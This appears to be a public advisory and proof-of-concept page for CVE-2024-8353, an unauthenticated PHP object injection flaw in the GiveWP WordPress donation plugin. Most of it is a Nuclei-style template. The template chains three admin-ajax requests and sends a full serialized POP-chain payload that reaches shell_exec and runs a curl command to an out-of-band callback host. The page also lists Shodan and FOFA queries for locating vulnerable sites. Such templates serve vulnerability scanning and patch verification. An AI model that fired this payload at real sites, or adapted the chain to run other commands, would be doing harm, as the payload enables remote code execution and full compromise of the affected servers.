CVE-2024-8353: GiveWP Donation Plugin <= 3.16.1 - Unauthenticated PHP Object Injection

2025-08-01 GiveWP Donation Plugin PoC Public

Description

The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.16.1. This is due to insufficient input validation on user-supplied data. An unauthenticated attacker can inject a serialized PHP object, which may allow them to execute arbitrary PHP code, depending on the presence of a suitable POP chain on the target system. This vulnerability could lead to full site compromise.

PoC

id: CVE-2024-8353

info:
  name: GiveWP Donation Plugin <= 3.16.1 - Unauthenticated PHP Object Injection
  author: hnd3884
  severity: critical
  description: |
    The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.16.1. This is due to insufficient input validation on user-supplied data. An unauthenticated attacker can inject a serialized PHP object, which may allow them to execute arbitrary PHP code, depending on the presence of a suitable POP chain on the target system. This vulnerability could lead to full site compromise.
  impact: |
    Unauthenticated attackers can inject serialized PHP objects to execute arbitrary PHP code through POP chains, potentially achieving full site compromise, complete server control, and access to all WordPress data.
  remediation: |
    Update GiveWP plugin to version 3.16.2 or later to address the PHP object injection vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-8353
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-donation-plugin-and-fundraising-platform-3161-unauthenticated-php-object-injection
    - https://plugins.trac.wordpress.org/browser/give/trunk/readme.txt
    - https://plugins.trac.wordpress.org/browser/give/tags/3.16.0/includes/process-donation.php#L154
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-8353
    cwe-id: CWE-502
    epss-score: 0.2872
    epss-percentile: 0.98042
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    vendor: givewp
    product: givewp
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/give/"
    fofa-query: body="/wp-content/plugins/give/"
    publicwww-query: "/wp-content/plugins/give/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,givewp,rce,unauth,vkev,vuln

variables:
  cmd: "curl+http://test.{{interactsh-url}}"
  length: "{{len(cmd)}}"
  cred: "{{rand_text_alpha(8)}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=give_form_search

    extractors:
      - type: json
        name: id
        json:
          - ".[0].id"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=give_donation_form_nonce&give_form_id={{id}}

    extractors:
      - type: json
        name: nonce
        json:
          - ".data"
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        give-form-id={{id}}&give-form-hash={{nonce}}&give-price-id=0&give-amount=10&give_first={{cred}}&give_last={{cred}}&give_email={{cred}}%40example.org&give_title=%5CO%3A19%3A%22Stripe%5C%5C%5C%5CStripeObject%22%3A1%3A%7Bs%3A10%3A%22%5C0%2A%5C0_values%22%3Ba%3A1%3A%7Bs%3A3%3A%22foo%22%3BO%3A62%3A%22Give%5C%5C%5C%5CPaymentGateways%5C%5C%5C%5CDataTransferObjects%5C%5C%5C%5CGiveInsertPaymentData%22%3A1%3A%7Bs%3A8%3A%22userInfo%22%3Ba%3A1%3A%7Bs%3A7%3A%22address%22%3BO%3A4%3A%22Give%22%3A1%3A%7Bs%3A12%3A%22%5C0%2A%5C0container%22%3BO%3A33%3A%22Give%5C%5C%5C%5CVendors%5C%5C%5C%5CFaker%5C%5C%5C%5CValidGenerator%22%3A3%3A%7Bs%3A12%3A%22%5C0%2A%5C0validator%22%3Bs%3A10%3A%22shell_exec%22%3Bs%3A12%3A%22%5C0%2A%5C0generator%22%3BO%3A34%3A%22Give%5C%5C%5C%5COnboarding%5C%5C%5C%5CSettingsRepository%22%3A1%3A%7Bs%3A11%3A%22%5C0%2A%5C0settings%22%3Ba%3A1%3A%7Bs%3A8%3A%22address1%22%3Bs%3A{{length}}%3A%22{{cmd}}%22%3B%7D%7Ds%3A13%3A%22%5C0%2A%5C0maxRetries%22%3Bi%3A10%3B%7D%7D%7D%7D%7D%7D&give-gateway=offline&action=give_process_donation

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains(content_type, "text/html")
          - status_code == 500
        condition: and
# digest: 4a0a00473045022100b1e423d8ea9419f9d91779ab9711e79267a27681f8a221f78a54a90a735a64a202205424fc8d66e14ae39be96f03ab8147266620682971f9caf16b1c404676a1d8ed:922c64590222798bb761d5b6d8e72950

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